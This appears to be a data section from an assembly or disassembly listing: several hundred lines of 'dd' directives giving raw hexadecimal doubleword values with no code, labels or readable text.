		dd 2D95C1B9h, 91FC0417h, 5C682F1Bh, 41EC0F12h, 1DAC32BDh
		dd 0FE75008Ch, 961F40BBh, 0FB5FD4C5h, 53DEC0C1h, 0BD1202Fh
		dd 48079FBBh, 0D6305267h, 0B1E86450h, 0D3F20B8Eh, 0F1DB5B4Dh
		dd 50427BA5h, 0F9A09C3Ch, 80021696h, 0B75055CBh, 7DA9CA03h
		dd 873D57B7h, 0B0EC698h, 493AE750h, 0AC124B21h,	4ABBC07Dh
		dd 0AC63716Eh, 0ADFC4AA6h, 1AB9D2F6h, 2C0150A8h, 88D076A5h
		dd 0DB404F46h, 0B5F02FC7h, 7327A36Fh, 0C8F55969h, 0E055765h
		dd 5067D780h, 210027B2h, 3B795266h, 4202EE94h, 3C73C677h
		dd 0B7ADAB14h, 1C742FD3h, 9CEBDA0Ah, 0E409DFC9h, 0D51632D7h
		dd 105667BAh, 5649626Bh, 56BC530Dh, 0B6D32BA9h,	738CA46Dh
		dd 0C6A4275Eh, 0BA62A5CAh, 11FFB47Fh, 2712E98Dh, 2F705C13h
		dd 0B40026B7h, 65E55DB9h, 0BB9C024Ch, 2FB2DA38h, 59E238D6h
		dd 0A27D0B2Bh, 56112137h, 2CC0EBFEh, 11977B70h,	26101203h
		dd 3C000D9Fh, 0BAA0FAEEh, 1E0B00Ah, 905FC2F8h, 6BFD1350h
		dd 0B9D4DBF2h, 7A74EB2Fh, 4D25E92Ch, 3292C08Bh,	990573B9h
		dd 1ED1BD2Bh, 6ADB5802h, 1A5B64F9h, 0E3B62EFh, 31F46C77h
		dd 33EAD8B7h, 134D78D4h, 7E451DB5h, 9BFAC083h, 5631C05Fh
		dd 0E84737C8h, 0CBA80116h, 99BD23BCh, 0A7422E0Ch, 7F0D8D0Fh
		dd 72B57438h, 0ED54F902h, 665A6D29h, 0CA4C0086h, 23C7ECF8h
		dd 65E88E2Ch, 2E64560Fh, 0A5B90AC4h, 780CDBADh,	0AD0057EAh
		dd 7F40DB82h, 4BDF8BB3h, 0C092DB6Ah, 0BAE7F977h, 84744B67h
		dd 756FFAD1h, 87F17805h, 4AE34409h, 0D3FFACA5h,	3603F0A2h
		dd 0DF088802h, 0C280C0CBh, 8F00FA97h, 5D91D5B7h, 7B820Dh
		dd 0C6CB81AFh, 5B497529h, 0D60F2B97h, 2E00F449h, 2DFBB2DEh
		dd 220FD86Ch, 0E6BD068Fh, 22FB085h, 4B7B84D3h, 427FD1FFh
		dd 5120566Bh, 81651782h, 13ED158Ch, 0B8279391h,	272920DDh
		dd 64D026Ah, 5B12D7C9h,	4E78AEC0h, 250B904Ch, 84E6590Ah
		dd 165731BFh, 0A0F640ABh, 906B0294h, 0E0780A93h, 2709E04Dh
		dd 1F5EF535h, 0A9B71013h, 5D26033Eh, 0AB6C4481h, 413DB338h
		dd 0A4DB2AD4h, 798A7480h, 0A409BF43h, 0A44C8314h, 0BB0032BCh
		dd 730D70F8h, 0D7151A97h, 0BCC6DE80h, 2B0233BBh, 0B3505BDEh
		dd 7CBA4248h, 0F00BDEADh, 0D539AD6Ch, 9121AE94h, 98C4690Bh
		dd 0AB135600h, 5A39DACDh, 0FFF0015Eh, 1A22CFB0h, 0DDD08B92h
		dd 0EC5D560Fh, 450F1DC4h, 0B66A48E0h, 20EC16Fh,	88281048h
		dd 9ABFD18h, 95F9769Dh,	64423859h, 55F0901h, 34AB24F2h
		dd 14C78233h, 0A0DF6FB2h, 0D95F81A1h, 742800EBh, 0B1064BF1h
		dd 717FE47Ch, 161DBD12h, 303016E3h, 9EF78069h, 0B0133B97h
		dd 3DBC1B3Ch, 6908ADAFh, 186961C4h, 9D4424h, 28E58E7Ah
		dd 9E2399BEh, 737B7600h, 0C7BFC543h, 0A46E07DCh, 345BFA8Bh
		dd 0B395E0C1h, 2B82234Bh, 0CD6EC960h, 5D1A207Fh, 0D0093EAh
		dd 0D217F168h, 724C5F0Eh, 504F04FEh, 0B8612F98h, 22204F3Ch
		dd 0F5A7117h, 79907E26h, 0E4CC7B82h, 0D1E961F5h, 2995A741h
		dd 0DCC13102h, 78982B0Bh, 3C7E9533h, 210B68ACh,	0E998D50Fh
		dd 0D925B501h, 943CC423h, 4EF54063h, 62000917h,	56A39BEBh
		dd 1DFB23Ah, 0BE261A9Eh, 20A9AB8Fh, 64091E3h, 9529095Fh
		dd 1E5C148Dh, 0B412764h, 1215319Dh, 0CE8235Bh, 0F2A0B00h
		dd 0FC695236h, 3CD6007Ch, 604FC0E9h, 9275957h, 4B40F28Dh
		dd 0B535AB61h, 5ADBD6A0h, 0A0A0AC21h, 1291BB57h, 0AB2EB2D7h
		dd 20E1A104h, 0C3DBC58h, 0A9D93181h, 95374A7Bh,	85294295h
		dd 9455C542h, 3C092034h, 445E298h, 5EF6A720h, 0B518C85Eh
		dd 9AC93500h, 29B83E26h, 457F0982h, 857E6A41h, 0DC6B17DEh
		dd 5E24F2D2h, 0BC8C7E20h, 3AAC002Eh, 7B72CF80h,	3602AF3Fh
		dd 0DAAED532h, 9604DDDCh, 125D141Dh, 0F5269BDh,	0A9D242ADh
		dd 0A03FA8ABh, 14EE9EF2h, 0A3500664h, 5F6DC172h, 2A086CB9h
		dd 7D09577Ah, 3004F25Ch, 0DEB05235h, 0BD36E5F8h, 16F506F0h
		dd 0D7564D29h, 828A8F80h, 4377662h, 89FED335h, 2B5780E5h
		dd 680EBBC0h, 0E246450Ah, 5CF98BD2h, 0ED627A83h, 2DCDE56h
		dd 8D01AABDh, 8E5C2A95h, 7E0D50CBh, 0B059BDBDh,	9180054h
		dd 4B7A083Dh, 8E250F11h, 80B15B1Ah, 23CD6A9Ch, 0FE00C032h
		dd 0DF188258h, 17ED38A4h, 0A0BE5085h, 1A975BCFh, 8618C17Bh
		dd 9B168826h, 0B882AC1Dh, 0FE52CB60h, 8073B77Dh, 0FDD57B40h
		dd 0A32CD9A7h, 0D569270Ch, 455D69CAh, 8F65A5E4h, 4F2F751Ch
		dd 0C47749AEh, 0BFB8705Fh, 4B601F6Fh, 24EDCD64h, 8DF0A08h
		dd 0C310171h, 9D2B1C4Dh, 0B9203BBBh, 5F6907h, 3ED0DCF1h
		dd 44BC02A2h, 0A78BD800h, 0C08EAF87h, 0FFAA09BAh, 8071F5E1h
		dd 9EEB2F44h, 16E4C12Eh, 0A03F2ADEh, 1B410DAAh,	5CFAF002h
		dd 0A514519Ah, 0DE72DE6Ch, 0FABB8800h, 0F54D3EBh, 8A3F25B0h
		dd 0AC1097C5h, 1996AD7h, 7D7F2AB7h, 226F8987h, 6CD76035h
		dd 0DEB7253Ch, 0BD3187C0h, 64B517E6h, 0F7810BA1h, 5F09E91Fh
		dd 1D457F5Ah, 55F6C521h, 47EE8C0Bh, 478E4DBDh, 0A3DBC079h
		dd 0D4BC1F0h, 3A504A8Ch, 4709BB51h, 0E57C6D9Ah,	245D76AFh
		dd 9D236228h, 0FE54A8E2h
		dd 0E652AAFBh, 0F2519F70h, 0B26E140h, 0C4070954h, 0BD48877h
		dd 0B51EC9h, 0B0D2991Fh, 68E5D18h, 0F83DE5Bh, 0D4BF808Bh
		dd 5C33247Ch, 8A0F429Ah, 0C4980644h, 0A063174Ch, 19B1EDh
		dd 0F385CE32h, 98FD8CFBh, 918B5200h, 5F6B7DBBh,	90B79F58h
		dd 0B6A87B00h, 7113DD84h, 4BC59598h, 97361E50h,	9D333818h
		dd 45171D22h, 96826ADFh, 0A86D5507h, 0D96714E4h, 73970D70h
		dd 699BD823h, 90097090h, 706C7E4Eh, 914FBF2Ah, 43819664h
		dd 9D2B05A1h, 12F5DA22h, 0FBB4E051h, 609AB773h,	93BD4861h
		dd 44AE613Bh, 29074121h, 2A4536B8h, 416FCD12h, 6D712000h
		dd 0C896E813h, 81FDF714h, 31A917D3h, 6F1F60EFh,	3D00C716h
		dd 4AB054E6h, 491E2D6h,	8B51964Ch, 67D3EBFBh, 0B1A8CDD9h
		dd 0AB560B25h, 0F1646DEh, 0C12F2E91h, 0E4174CCFh, 0A0EE45EAh
		dd 0A1C124A7h, 0C9AE69F2h, 4E8A1DF8h, 0DA0D8954h, 0F7805809h
		dd 0B5DB583Fh, 5ED9615Bh, 4420BF4h, 0E29EB7B2h,	0DEF2EA49h
		dd 4A5A8D00h, 651DA848h, 0D9FC741Eh, 587C7E42h,	5E34E020h
		dd 4B4282A6h, 0C283CC41h, 0B73C462Bh, 7DB74B83h, 0B7900E24h
		dd 1327F22Fh, 0A6E4F380h, 301CB223h, 0FA015B4Bh, 0CAE2798Bh
		dd 827ACBBEh, 61002EB6h, 5AFDBD33h, 0B542B922h,	0E1A1E2E6h
		dd 0EF827E42h, 71515C28h, 20DE7F2Bh, 0BF660EC4h, 0B72C50F2h
		dd 4B7D2067h, 0B96A8EFCh, 5398202Ah, 0E4025DDEh, 83CA1999h
		dd 887140AAh, 0EDD7A02Eh, 5759951Ch, 5B4BE4C7h,	0C833D049h
		dd 0BDB64A50h, 0EF925D5Fh, 6CD796DAh, 4D2A5BB0h, 0E0E89197h
		dd 5FE00337h, 1097BA80h, 22A65B7h, 637CD785h, 0B7559C28h
		dd 801D11D1h, 572732A8h, 0DFF104A0h, 0F2DBBCC7h, 0F20078C3h
		dd 6A737492h, 5AC6CA1Ah, 0C5F5AD28h, 70AB1B49h,	43C3819Ah
		dd 13A1E25Eh, 0EC2760C5h, 2A425F25h, 0E31F9F3h,	7B3E6995h
		dd 96E53D0Bh, 10BA89A3h, 893E85Dh, 0F0A4111Eh, 0FC628060h
		dd 499748Fh, 0B390989Bh, 915EB9BFh, 3DF30017h, 9E822E7Ah
		dd 4C753EC7h, 0E3633292h, 8F84A6Fh, 4316E910h, 8DF400DDh
		dd 0D090DF64h, 89F90B42h, 0DFF49195h, 5DE36192h, 80F4DBD7h
		dd 0ADDE630Ah, 33B74C83h, 0D1208112h, 2E0B5544h, 200D8432h
		dd 93537775h, 88F3C400h, 0AA5C9513h, 0B58C48E5h, 0E4897912h
		dd 0FAA12979h, 79722E31h, 0D66E5CF8h, 0B0001746h, 0BBD70CDFh
		dd 0A6253BE5h, 0D08FFB64h, 0F0018DC8h, 7AFDE634h, 864148EEh
		dd 0CF22072Dh, 4E6BF396h, 0B52B95F0h, 5E7A2473h, 64BCC09Ah
		dd 0B85F592Ch, 5996210Bh, 57003BACh, 0B9399B49h, 9901ABBFh
		dd 505F7722h, 8C7A820Fh, 965BDF1Bh, 98004DF2h, 0A76F7E1Fh
		dd 0C052EB80h, 29204B65h, 1D1A07FAh, 429FA0C5h,	0F945A729h
		dd 0B6018960h, 9505B304h, 60B82D3Eh, 31B549DFh,	0EDBD6D68h
		dd 63B3194Ah, 0EA83188h, 3731317h, 0C06538A2h, 0EAC65288h
		dd 205AD58Bh, 871EE09Ah, 96FA6C0Eh, 9069C3EAh, 1028487Ah
		dd 0EA6EAEE4h, 450AE45Eh, 9746017h, 0D5058652h,	0DDEA06CDh
		dd 59E37F83h, 1D8D0904h, 0C09BAA33h, 3BC01BC8h,	7F8D8466h
		dd 16D02F74h, 0DD9A5282h, 86007E79h, 0A7A37A30h, 0CF1002Fh
		dd 8B604221h, 0F94A810Fh, 0E70299B6h, 2E66CB4Eh, 4E3B6B16h
		dd 81C5377Dh, 5B5AA431h, 87986DF8h, 71F99FBFh, 0DD8A89B6h
		dd 15F49672h, 9B922B46h, 921F8F56h, 25504B1Ch, 0AC78E912h
		dd 8CBF0087h, 8B51978Eh, 7A0D93C1h, 56E53077h, 3AFA5C8Bh
		dd 0B01CF5C7h, 0F1E7164Fh, 0C2E87425h, 0DF3DDFB2h, 3915DA5h
		dd 8B90DC71h, 0B350F91Eh, 0C17002E5h, 77308F30h, 0E9022BB1h
		dd 0B88B2402h, 0E3741081h, 3F78002h, 0B777C083h, 958A80E3h
		dd 0D84B634Dh, 0DF4E7872h, 0B23F52EEh, 0CCB80067h, 8FF90F93h
		dd 0DC300BCh, 49F14298h, 8D2D34ADh, 0C00BED90h,	86EE903Dh
		dd 0B2B73EC7h, 78D25B4Bh, 5B008CD9h, 7E429F35h,	587DC781h
		dd 7C4D81F9h, 14550825h, 0D4C296FBh, 0ACC1124Eh, 0A63A1986h
		dd 452375F3h, 59D4252Bh, 2657FD4h, 2BFF1109h, 2FD02EBh
		dd 2907E5F3h, 81444259h, 0C9CE9EABh, 0C5DD028Ah, 26A001Bh
		dd 11598D31h, 569016F0h, 502725A9h, 0FE7ED590h,	79A18E2Fh
		dd 44A48E4Bh, 112CE9C7h, 3F905B01h, 3B17B26Eh, 0BD2602B3h
		dd 0C4C51229h, 8448628h, 60999052h, 0E95F2765h,	16970F66h
		dd 0E37E2141h, 0B3181AF1h, 0F9673507h, 0BB60A777h, 4A052C72h
		dd 0B8FBA930h, 0B7C05A6Ch, 0AC8D4912h, 2AC95C21h, 0AD90DB16h
		dd 518110E7h, 0F7CE0B5Bh, 17FC2FD7h, 0B12CFEB1h, 61CE8BA0h
		dd 0DCF25C95h, 98A89D12h, 5A8FEEFCh, 0F52027h, 76976E21h
		dd 0CA0ED273h, 22CE0DD1h, 5C0A3C49h, 6EBFC09Fh,	14B0D68h
		dd 0F3A9E99h, 0AD920F62h, 0BCF9DC1h, 8149D2BDh,	40085452h
		dd 13C2E4F0h, 0DBC59700h, 0D353B79Dh, 0AA5F027Ch, 7E824E26h
		dd 9E57640h, 0AB23DD82h, 0BBC50BF5h, 0EC00376Fh, 2D8D5F95h
		dd 60C4753Eh, 0ABB81429h, 0E72A19A2h, 1C155508h, 1ADD25B0h
		dd 0BB0055DCh, 0F69725BBh, 71E47E01h, 17F5BD33h, 0F29E332Eh
		dd 23E1334Ah, 0FA9E102Bh, 0C0D6FC4Bh, 3FF78152h, 4FAF13B9h
		dd 1B5AB25Fh, 0F862910Dh, 4BB72ED2h, 0BB8D80D1h, 0D32FAC2Ah
		dd 80AE7138h, 0EE9B08E4h, 0A100459Fh, 4647A7CBh, 4B6FCA80h
		dd 29A28061h, 89BFEDB5h, 41C854E0h, 55F80DBh, 0B91B88EAh
		dd 57EF574Eh, 2E9AE055h, 902CC282h, 9D781EDh, 15E2F6B4h
		dd 2F9E7F70h, 0EC135140h, 6A3F0050h, 81B3F22Eh,	6EF8CFB5h
		dd 1608703h, 924F1BDh, 6D950954h, 5B619EA3h, 7EE84C4Eh
		dd 9B5B712Dh, 80047720h, 41E9F5D7h, 236B37EEh, 34AFF8Dh
		dd 0BC149F8h, 6A23F59Dh, 12E297D9h, 8D59E4Ah, 0FE04208Eh
		dd 5BC9BD31h, 7B431944h, 0F269E1C7h, 0C2605C79h, 60626372h
		dd 0B5E22A6Dh, 38515763h, 0B349601Ch, 8D2602FAh, 60A52A18h
		dd 1BEE5FE0h, 3751D600h, 0E5533126h, 4B7D01DBh,	0AC8374E2h
		dd 0FD012A58h, 369159BBh, 83257DAh, 7167384h, 73B928B9h
		dd 0CD38D027h, 16F5794Ch, 91AD1B61h, 4B6ABE96h,	0CB807C02h
		dd 987BFC5Eh, 8D2970h, 0A6698C47h, 4E6C3B71h, 74C02B25h
		dd 15004E5Ch, 0C96785FAh, 46BD444Eh, 3584893h, 7DD22B89h
		dd 3F011837h, 927C5828h, 8503EC2Ah, 48174B7h, 0DB6AABB3h
		dd 0F07B43C3h, 1407E56h, 0EEACA2F8h, 2146B76Ah,	107223h
		dd 49D10E6Ch, 0D9CF4Dh,	1443343Bh, 29F122C4h, 0BA66790Fh
		dd 89618403h, 0DEA8E5EAh, 21D621A0h, 0DA057364h, 4F3FDBAFh
		dd 32C9AEC0h, 0B277259Eh, 0FC5EAFC4h, 899D58ADh, 0EA563139h
		dd 509DD35Ah, 5995B41Ch, 0FE6D7A02h, 31ADC560h,	17E93295h
		dd 2AF7BDBDh, 0E307FF10h, 0BFC184C2h, 66F97202h, 0A578282Eh
		dd 6FEF50D3h, 0EE840F04h, 64C6AE72h, 0F4CC01ECh, 0DA7A00C1h
		dd 8DA1AF80h, 40056B4Fh, 0D99D31EFh, 0EEE15894h, 0E4E8A869h
		dd 0FCBC916h, 0DAD63DB9h, 5EEB84A0h, 9B8418FBh,	0F8ADE1FFh
		dd 5CA43DE2h, 588753A8h, 4AB3582Dh, 8D1FE332h, 0F2E2708h
		dd 0E2F269F7h, 55C08965h, 0E88066BDh, 2CDE40F4h, 5E3D983Bh
		dd 4E2BFDC9h, 3FE020B6h, 8A185F9Ch, 0A64897F2h,	41109F60h
		dd 0C909B553h, 50E771Ah, 52BE8DD4h, 6694B10Dh, 0A999F091h
		dd 58730BA2h, 8809C9E1h, 9D23A1B0h, 0C42BE525h,	403394BEh
		dd 21EDBCA1h, 4E00C7F0h, 70E7DF51h, 179EE33Ch, 12B1E2B6h
		dd 4FD4AA3Ch, 5222D5ADh
		dd 74C38102h, 14793EBFh, 0AD607BCh, 0F8ECE5CAh,	43D70CF8h
		dd 0D94BB76Eh, 9EAFDB94h, 0B21F8797h, 5059C710h, 9E405BB3h
		dd 350FC00Dh, 0FACD059Bh, 0C01A4EB0h, 4CF7816Fh, 19F01000h
		dd 0FE127168h, 0BC789F78h, 5BBAE808h, 0BF66000Dh, 585A4B51h
		dd 8E1D4095h, 78E12D11h, 4B7008FBh, 5E890E39h, 1EE97765h
		dd 0B9A402FFh, 0D5B77F07h, 0C9801A91h, 0E8E6B91Fh, 9012532Dh
		dd 311B80h, 3B613C0Eh, 6F87E77Ch, 9001B600h, 81DD5202h
		dd 5AA327BFh, 8DC58656h, 5285DEA8h, 0A15DA702h,	0E63B7DBBh
		dd 0E19D12C8h, 0D1627597h, 0FE65D528h, 0C2228917h, 0CD6653h
		dd 0F73543A3h, 554AF9E0h, 63C6509h, 2F06795Bh, 18DEFFFCh
		dd 90344886h, 0CE952C71h, 0E59A9531h, 8D3A3077h, 0AC2AEFBDh
		dd 9FE99290h, 7B0255A8h, 0AAB7AEE8h, 0BEAD54Eh,	4D7FD3A9h
		dd 0FF01E5CEh, 56E54A1Eh, 1D46D452h, 0B00EBC5Bh, 6BD1BD29h
		dd 9DD15C1Dh, 0DE908D00h, 95387Ch, 0D0273573h, 96B91A53h
		dd 0E3E852h, 656E5F60h,	3CD0F07h, 0C6E07EF6h, 50E1C0B3h
		dd 0B8EE2996h, 25CD018Ch, 0F9E4BDDBh, 3E352F46h, 2E07D96Fh
		dd 0D0427D70h, 0E4B11E02h, 53E9497h, 0F6ED33BBh, 0A21CAE51h
		dd 0D6694BB7h, 0EBB964B8h, 11DCCCh, 0EAAA3B07h,	9CA00CBAh
		dd 0D11AEE25h, 0D7C3882Bh, 50174676h, 924E7978h, 0D2B38302h
		dd 22ED4C8Dh, 0F8250187h, 63BE5690h, 0C63E79B3h, 88FD5FFAh
		dd 8824C6B8h, 31093C6Ch, 88305D32h, 0EC00F10Fh,	79C878Eh
		dd 5EE1FC5Ch, 925BEC45h, 15B261E6h, 4B0A2D30h, 0E0B3E661h
		dd 1126246h, 697C6595h,	7C132C76h, 7B87124Ch, 95339EABh
		dd 39AF4F53h, 0E7A63AB0h, 29A585C2h, 589FB316h,	7A0B6D2Eh
		dd 5CE152FEh, 0ED4B774Ch, 32C2402Dh, 373A7709h,	4573A4FCh
		dd 5E02A50Bh, 0FE97F480h, 0CDBB401Fh, 11793349h, 882BE595h
		dd 253B0499h, 50B9F68Ah, 0A1385F59h, 0D4E1805Dh, 0B56EAFE7h
		dd 458B1706h, 0D8A409C5h, 6F270716h, 0D093FB04h, 0CD7EB06Dh
		dd 0AA270F01h, 36B77F9Eh, 60E1332Ah, 395BEBF8h,	61324D25h
		dd 0DA2B61CEh, 0C01BC833h, 0A7C270CDh, 0F91DD409h, 0F86B82EDh
		dd 6C295E02h, 0C6121EF4h, 9AF31FA6h, 0BD0D4248h, 3A801A1Dh
		dd 8E88F46h, 47ABA63h, 8FD1DC80h, 80A6AD5Fh, 89128E11h
		dd 397E0261h, 74DC3586h, 6B0E771Ah, 0FA507493h,	28D04E70h
		dd 0EA6A05E3h, 629264FAh, 525D299Bh, 0D5359702h, 0CF821691h
		dd 0E1F721B6h, 5DC211D6h, 290045ECh, 39100730h,	948B5D0h
		dd 5FAB969Dh, 6C27D051h, 91E6172Bh, 19AD4961h, 0B3551657h
		dd 6A5A58E2h, 0B7EF9997h, 4E51AE24h, 0D6F4AD10h, 2F008EF2h
		dd 0AE5DF8D1h, 4E00E912h, 0DE6E3643h, 9251B509h, 365B4F9Dh
		dd 35285461h, 0CD690623h, 0ADD27071h, 112BE045h, 930B5929h
		dd 505E3A6Ah, 0E17FD24Fh, 0B5A1CBE4h, 2D522A59h, 2904E6E3h
		dd 0AF121995h, 1A23596Fh, 0D7E55700h, 5F4BEC5Ch, 38182033h
		dd 0D00B737h, 8CC25F64h, 33DC1Ah, 47894075h, 0B2C4EC8h
		dd 6FBFF84Fh, 36ED00ECh, 70937F60h, 784D0FE8h, 688181F7h
		dd 2F251746h, 20129E62h, 0E160F89Eh, 76890100h,	8FBDDC0Ch
		dd 0D8BF02B0h, 0EC7A0B3Ch, 201ACE55h, 0DBAA0DB1h, 1F401B74h
		dd 0F8F0A907h, 7B293E33h, 4CFBB309h, 5356DE01h,	0A5857F5Bh
		dd 5B4B7BABh, 0EF0C9AB1h, 82B949B5h, 0AA78AC5Ah, 0B3F0C200h
		dd 827D309Fh, 0BAE18B05h, 8AFB8D0Fh, 10BC5F89h,	0AD956A02h
		dd 0B5576548h, 8018918Dh, 4A0F0E02h, 0E8895BEBh, 1FAB9704h
		dd 4D47A7B6h, 32626E11h, 0BF000CD9h, 32CD30A8h,	1E249646h
		dd 0C21A5F2Bh, 0FB408ED6h, 22A387h, 0B8F103E6h,	0CFC593E2h
		dd 6F446105h, 21FFBD8Dh, 2A96FE7Dh, 23F053E6h, 10167AD7h
		dd 8ABCC672h, 3B294571h, 0E00BC123h, 4AD1167h, 494ECF8Ch
		dd 0AC8AE9BCh, 0D2018C1Dh, 2D7F5A10h, 23FCB628h, 8182C41Bh
		dd 0CF2AA1Eh, 0A9F4BD93h, 511C39E8h, 23C5C4C6h,	0AE964722h
		dd 69F1C852h, 0A009A73Bh, 44D80C8h, 0B57EC520h,	0A286E896h
		dd 6C822B39h, 61747295h, 1CBF616Fh, 9E2EC6D2h, 4A3880ACh
		dd 5D58922Eh, 1E25BEE6h, 84491AD3h, 0E9012E9Ch,	0C6FFF194h
		dd 0B0411BFDh, 9F8D31C1h, 0E225827Ch, 0D64FDD3Bh, 0DC483E60h
		dd 7E616299h, 90022D31h, 0EB8C650h, 0F8C69AE9h,	1E3A2A20h
		dd 5FE86639h, 0DB819001h, 4B056508h, 9D0480AFh,	2118209h
		dd 0F4B55182h, 408C4FD5h, 0EBECFC79h, 70223D05h, 4F82BE21h
		dd 781A559Dh, 0E1B24D7Fh, 0D4CA0391h, 0F028EDE5h, 71B582D4h
		dd 7E7E254Eh, 1D0A804Ah, 0C649B408h, 28237E79h,	7D0E1BFDh
		dd 8E0F12B3h, 9EA71Eh, 4BDB2B4Fh, 0E8C78450h, 7863000Ch
		dd 6134E13Dh, 0B137343h, 53EA8509h, 218DFB59h, 0BDDC73Ah
		dd 11211457h, 931CDDB5h, 0FEA478A6h, 0B95E3CF6h, 0D66FA704h
		dd 0C801EFDh, 0F5026A3Ah, 10BD1C90h, 734370Dh, 0A8DEAEFh
		dd 179AE049h, 0A87685B5h, 0F85C6304h, 0A2AA69BEh, 5E4B0085h
		dd 9E40D37h, 50E10001h,	0A6B43F5Ah, 6FE35F16h, 0B9660B41h
		dd 50785DD8h, 0E02F3080h, 6B4D8341h, 2C9D5ADBh,	0DB900693h
		dd 20E88121h, 0C620E956h, 0F9245FADh, 12CAD480h, 28BE11EDh
		dd 2CF69D19h, 959CE980h, 0BF1282E7h, 9BFA9012h,	93D0806Dh
		dd 4CA130B3h, 531D59C8h, 0DEBB05F3h, 7CAEBFEh, 289569A1h
		dd 26CF80ACh, 0C7E8919h, 461F3091h, 1C40CDE2h, 4FB72550h
		dd 5E3DD7h, 89FFBF6Dh, 61098FD4h, 0D3640684h, 64E82D0Ah
		dd 7195859Dh, 11BB604Dh, 584E0FDDh, 329E0E95h, 147CDAC0h
		dd 801775AFh, 0DD3058DBh, 39BAC4ECh, 1FCDE26h, 322FD27Eh
		dd 93FF6A74h, 21EF399Ch, 7F2EADA2h, 5DDE9A49h, 0B19727E4h
		dd 80101303h, 0B0709BDFh, 0A2E2895Fh, 5A70E61Ah, 0E42FDFC4h
		dd 0DF368271h, 90FE5EA1h, 0C8B684F1h, 0BB80F8BCh, 191ED9ABh
		dd 48C421B0h, 0CCEA0955h, 488812B0h, 0AE030095h, 34B445D8h
		dd 0D400024Ah, 5C9ADF8Eh, 970E0881h, 0E9B3E387h, 44DD9885h
		dd 8CC82BB2h, 0B69079E5h, 0D70063E6h, 0A4AE77BAh, 5ABCB2D9h
		dd 9BBCE014h, 0D1541B9Dh, 0F24D0185h, 3FB2B57Ah, 26FABA65h
		dd 6BE11EE7h, 0C16FAA9Dh, 11B7980h, 68F69531h, 972961A6h
		dd 0E98DFCDEh, 352E335Ch, 80C0A8DFh, 28A61EF1h,	0F9C412E9h
		dd 25E0F25Fh, 0D6EAB840h, 2E6600F5h, 0CC7C72B6h, 940B08B7h
		dd 0D4BD0BC5h, 0F65F92C5h, 0A1D050F3h, 1A0BF50h, 0DECEB5h
		dd 6CAD7160h, 4D0EB058h, 832DCE73h, 89C2734Eh, 0FD7B739Ah
		dd 2783F3D0h, 2FFEB75Dh, 8B566081h, 0AC245195h,	990EC45Eh
		dd 0CEB1120Bh, 9F6A9B74h, 3E802AB7h, 9501F88Bh,	0F7124A2Dh
		dd 0FE065059h, 0EDFB913h, 3009AC21h, 0A6ED642Fh, 0F957A083h
		dd 0AC8A5EFCh, 5313D653h, 0AB12C5EEh, 44F7B312h, 74FB3BA0h
		dd 62C27895h, 0FAB7CB03h, 3178B55Eh, 1392785h, 1C5D1122h
		dd 0CB64CDF5h, 1249E738h, 0C1980A2Dh, 0B63AFE65h, 8CD30290h
		dd 31480779h, 0C6B96A33h, 0B26F8B4Bh, 0A72A301Dh, 763F0C1Dh
		dd 2E884842h, 40896AE0h, 1282E763h, 0F279B3FFh,	8147886Ah
		dd 8B20F780h, 1E24DFBh,	2B17E59Eh, 71209F9Dh, 0CF0B4B61h
		dd 0C01BC800h, 0A0DDAB43h, 0A9E9470Ch, 4EE55652h, 0E24DAC13h
		dd 9EA2AD0h, 0C79081Dh,	43AA55C9h, 0EB4BDE64h, 791223CAh
		dd 8250DE04h, 854AF562h, 1FC063BCh, 0B560A12Fh,	0F8C0A7EDh
		dd 0BC51083h, 0DA8AF36Eh
		dd 13A79818h, 89BAF39Fh, 60551571h, 1142C7B1h, 5A3A6C4Eh
		dd 5680F39Bh, 93286029h, 0C9A84B25h, 0EF0883F9h, 63AA291Ch
		dd 0F601223h, 0BDCFF6D6h, 51772273h, 0EFD9840h,	5F6B5A12h
		dd 893BE4E3h, 99184975h, 0BC0F204Eh, 0F1007AEEh, 0CF8D2191h
		dd 43E7019h, 4AAF5C2h, 7956FFA7h, 10E735A6h, 0C172EDFFh
		dd 325EE02h, 0F51A49BDh, 0DF6F9C30h, 1C3DB500h,	0E23225AAh
		dd 0FA41315h, 0D99DFE8Fh, 0AC2FD6F5h, 0ECFDD6A4h, 0B20086E8h
		dd 38C9F333h, 928F9FD8h, 952912EEh, 68D040FDh, 0D21E6B5Bh
		dd 81FA1CC5h, 98A48607h, 0C3B62E05h, 0BBD008E0h, 0AF7D2F05h
		dd 0C2AA601Dh, 66003051h, 5A34F9B9h, 0A828E261h, 0DDDA0169h
		dd 8509D619h, 61972B5Dh, 0F05FA1B9h, 0FEF68933h, 0E107FCEAh
		dd 0E9F91BD5h, 0F70B0147h, 8689F037h, 6D8D821Fh, 0DD82090Dh
		dd 0B75715A5h, 8186A334h, 7840FEF8h, 32312F70h,	0FC688E0Fh
		dd 85DDBBA4h, 0B621242Eh, 4CAAF0D9h, 49F5055Bh,	0C112CE89h
		dd 2FF284A5h, 0C9014834h, 384BB2FDh, 0C11BD12Bh, 0E2707B1Bh
		dd 13D7E381h, 577BE467h, 0B0E8B709h, 2709FDAFh,	645E7228h
		dd 8D337069h, 0BA3AE0B5h, 355C747Ch, 0EE11056h,	80539616h
		dd 0B7505F91h, 79F5879h, 0FC6AF133h, 5C11A90Bh,	0F2F3581Bh
		dd 14685F00h, 53A0BC48h, 0B95D04BBh, 935B3228h,	62D0EBC8h
		dd 854A8D5Fh, 58057BFFh, 869F28E3h, 2A2C692Dh, 0C43A672Bh
		dd 32E60973h, 4B9AFCA5h, 2DC46857h, 578E023Ch, 310F5B71h
		dd 14689075h, 0C65C0011h, 0A5D704DAh, 0A100C1CFh, 0DD80B8AFh
		dd 0B264237h, 5FF98B16h, 8ABBC768h, 7B90302Fh, 36B371F7h
		dd 81600021h, 0BE1AD4C2h, 0CBC5A007h, 0F25BE361h, 8EDF22C0h
		dd 5309A4B0h, 0E1E98D01h, 0CA2C5FF1h, 841D009Fh, 56C239B2h
		dd 95075B00h, 5AEC6B8h,	0FDF771A2h, 3FC83D2Eh, 0DD0FE86Ah
		dd 0ECA210FCh, 0B0E16273h, 57823E85h, 489C570Eh, 51A7385Eh
		dd 20AAFCB1h, 0F83F3E50h, 0C20D0080h, 54E727BFh, 8289691Bh
		dd 90556429h, 46CF8028h, 1D23BF06h, 7D8BD40Eh, 3C2F440h
		dd 9167242Dh, 0FF5E979Dh, 99824852h, 0F8BA665Bh, 0B1240247h
		dd 2AC1632h, 4450CB5Ch,	786FB704h, 20506740h, 0DF5612EEh
		dd 9B41492h, 3D7513B2h,	64938004h, 0DC32C795h, 694DEB09h
		dd 12F2DC25h, 0BC9FBD10h, 0C8258C1Ch, 694DF6A1h, 0AAB52784h
